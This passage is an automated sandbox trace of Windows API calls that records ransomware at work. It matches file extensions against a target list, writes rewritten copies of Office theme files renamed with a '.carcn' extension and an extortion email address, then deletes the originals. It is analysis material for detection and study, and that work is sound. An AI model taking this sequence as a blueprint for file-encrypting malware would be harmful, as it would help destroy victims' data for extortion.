[0275.935] lstrlenW (lpString=".ppt") returned 4 [0275.935] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.935] lstrlenW (lpString=".zip") returned 4 [0275.935] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.935] lstrlenW (lpString=".rar") returned 4 [0275.935] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.935] lstrlenW (lpString=".bz2") returned 4 [0275.935] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.935] lstrlenW (lpString=".7z") returned 3 [0275.935] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.935] lstrlenW (lpString=".dbf") returned 4 [0275.935] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.935] lstrlenW (lpString=".1cd") returned 4 [0275.935] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.935] lstrlenW (lpString=".jpg") returned 4 [0275.936] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.936] lstrlenW (lpString=".doc") returned 4 [0275.936] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.936] lstrlenW (lpString=".docx") returned 5 [0275.936] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.936] lstrlenW (lpString=".pdf") returned 4 [0275.936] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.936] lstrlenW (lpString=".xls") returned 4 [0275.936] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.936] lstrlenW (lpString=".xlsx") returned 5 [0275.936] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.936] lstrlenW (lpString=".ppt") returned 4 [0275.936] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.936] lstrlenW (lpString=".zip") returned 4 [0275.936] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.936] lstrlenW (lpString=".rar") returned 4 [0275.936] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.936] lstrlenW (lpString=".bz2") returned 4 [0275.936] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.936] lstrlenW (lpString=".7z") returned 3 [0275.936] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.936] lstrlenW (lpString=".dbf") returned 4 [0275.936] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.937] lstrlenW (lpString=".1cd") returned 4 [0275.937] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.937] lstrlenW (lpString=".jpg") returned 4 [0275.937] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.937] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0275.937] lstrlenW (lpString="Frosted Glass.eftx") returned 18 [0275.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0275.938] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=334131) returned 1 [0275.938] CloseHandle (hObject=0x538) returned 1 [0275.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220 [0275.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0275.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0275.938] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.938] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0275.940] GetLastError () returned 0x0 [0275.940] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x51933, lpOverlapped=0x0) returned 1 [0276.251] WriteFile (in: hFile=0x4bc, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x51940, lpOverlapped=0x0) returned 1 [0276.259] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.259] WriteFile (in: hFile=0x4bc, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0276.259] SetEndOfFile (hFile=0x4bc) returned 1 [0276.260] CloseHandle (hObject=0x4bc) returned 1 [0276.260] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.260] SetEndOfFile (hFile=0x538) returned 1 [0276.271] CloseHandle (hObject=0x538) returned 1 [0276.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0276.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1 [0277.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.684] lstrlenW (lpString=".doc") returned 4 [0277.684] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.684] lstrlenW (lpString=".docx") returned 5 [0277.684] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.684] lstrlenW (lpString=".pdf") returned 4 [0277.684] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.684] lstrlenW (lpString=".xls") returned 4 [0277.684] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.684] lstrlenW (lpString=".xlsx") returned 5 [0277.684] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.684] lstrlenW (lpString=".ppt") returned 4 [0277.684] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.685] lstrlenW (lpString=".zip") returned 4 [0277.685] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.685] lstrlenW (lpString=".rar") returned 4 [0277.685] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.685] lstrlenW (lpString=".bz2") returned 4 [0277.685] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.685] lstrlenW (lpString=".7z") returned 3 [0277.685] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.685] lstrlenW (lpString=".dbf") returned 4 [0277.685] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.685] lstrlenW (lpString=".1cd") returned 4 [0277.685] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.685] lstrlenW (lpString=".jpg") returned 4 [0277.685] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.685] lstrlenW (lpString=".doc") returned 4 [0277.685] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.685] lstrlenW (lpString=".docx") returned 5 [0277.685] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.685] lstrlenW (lpString=".pdf") returned 4 [0277.685] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.686] lstrlenW (lpString=".xls") returned 4 [0277.686] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.686] lstrlenW (lpString=".xlsx") returned 5 [0277.686] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.686] lstrlenW (lpString=".ppt") returned 4 [0277.686] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.686] lstrlenW (lpString=".zip") returned 4 [0277.686] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.686] lstrlenW (lpString=".rar") returned 4 [0277.686] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.686] lstrlenW (lpString=".bz2") returned 4 [0277.686] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.686] lstrlenW (lpString=".7z") returned 3 [0277.686] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.686] lstrlenW (lpString=".dbf") returned 4 [0277.686] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.686] lstrlenW (lpString=".1cd") returned 4 [0277.686] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0277.686] lstrlenW (lpString=".jpg") returned 4 [0277.686] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.687] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0277.687] lstrlenW (lpString="Glow Edge.eftx") returned 14 [0277.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0277.692] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=54347) returned 1 [0277.692] CloseHandle (hObject=0x55c) returned 1 [0277.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220 [0277.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0277.693] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.693] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0277.695] GetLastError () returned 0x0 [0277.695] ReadFile (in: hFile=0x55c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0xd44b, lpOverlapped=0x0) returned 1 [0277.736] WriteFile (in: hFile=0x544, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xd450, lpOverlapped=0x0) returned 1 [0277.738] ReadFile (in: hFile=0x55c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.738] WriteFile (in: hFile=0x544, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xf0, lpOverlapped=0x0) returned 1 [0277.739] SetEndOfFile (hFile=0x544) returned 1 [0277.739] CloseHandle (hObject=0x544) returned 1 [0277.739] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.739] SetEndOfFile (hFile=0x55c) returned 1 [0277.745] CloseHandle (hObject=0x55c) returned 1 [0277.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1 [0277.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.746] lstrlenW (lpString=".doc") returned 4 [0277.746] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.746] lstrlenW (lpString=".docx") returned 5 [0277.746] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.746] lstrlenW (lpString=".pdf") returned 4 [0277.746] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.746] lstrlenW (lpString=".xls") returned 4 [0277.747] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.747] lstrlenW (lpString=".xlsx") returned 5 [0277.747] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.747] lstrlenW (lpString=".ppt") returned 4 [0277.747] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.747] lstrlenW (lpString=".zip") returned 4 [0277.747] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.747] lstrlenW (lpString=".rar") returned 4 [0277.747] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.747] lstrlenW (lpString=".bz2") returned 4 [0277.747] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.747] lstrlenW (lpString=".7z") returned 3 [0277.747] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.747] lstrlenW (lpString=".dbf") returned 4 [0277.747] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.747] lstrlenW (lpString=".1cd") returned 4 [0277.747] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.747] lstrlenW (lpString=".jpg") returned 4 [0277.747] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.748] lstrlenW (lpString=".doc") returned 4 [0277.748] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.748] lstrlenW (lpString=".docx") returned 5 [0277.748] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.748] lstrlenW (lpString=".pdf") returned 4 [0277.748] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.748] lstrlenW (lpString=".xls") returned 4 [0277.748] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.748] lstrlenW (lpString=".xlsx") returned 5 [0277.748] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.748] lstrlenW (lpString=".ppt") returned 4 [0277.748] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.748] lstrlenW (lpString=".zip") returned 4 [0277.748] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.748] lstrlenW (lpString=".rar") returned 4 [0277.749] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.749] lstrlenW (lpString=".bz2") returned 4 [0277.749] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.749] lstrlenW (lpString=".7z") returned 3 [0277.749] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.749] lstrlenW (lpString=".dbf") returned 4 [0277.749] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.749] lstrlenW (lpString=".1cd") returned 4 [0277.749] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0277.749] lstrlenW (lpString=".jpg") returned 4 [0277.749] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.749] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0277.749] lstrlenW (lpString="Inset.eftx") returned 10 [0277.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0277.750] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=44971) returned 1 [0277.751] CloseHandle (hObject=0x55c) returned 1 [0277.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220 [0277.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0277.751] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.752] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0277.752] GetLastError () returned 0x0 [0277.752] ReadFile (in: hFile=0x55c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0xafab, lpOverlapped=0x0) returned 1 [0277.782] WriteFile (in: hFile=0x544, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xafb0, lpOverlapped=0x0) returned 1 [0277.784] ReadFile (in: hFile=0x55c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.784] WriteFile (in: hFile=0x544, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xe8, lpOverlapped=0x0) returned 1 [0277.784] SetEndOfFile (hFile=0x544) returned 1 [0277.784] CloseHandle (hObject=0x544) returned 1 [0277.784] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.785] SetEndOfFile (hFile=0x55c) returned 1 [0278.341] CloseHandle (hObject=0x55c) returned 1 [0278.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1 [0278.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.343] lstrlenW (lpString=".doc") returned 4 [0278.343] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.343] lstrlenW (lpString=".docx") returned 5 [0278.343] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.343] lstrlenW (lpString=".pdf") returned 4 [0278.343] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.343] lstrlenW (lpString=".xls") returned 4 [0278.343] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.343] lstrlenW (lpString=".xlsx") returned 5 [0278.343] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.343] lstrlenW (lpString=".ppt") returned 4 [0278.343] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.343] lstrlenW (lpString="C:\\Program 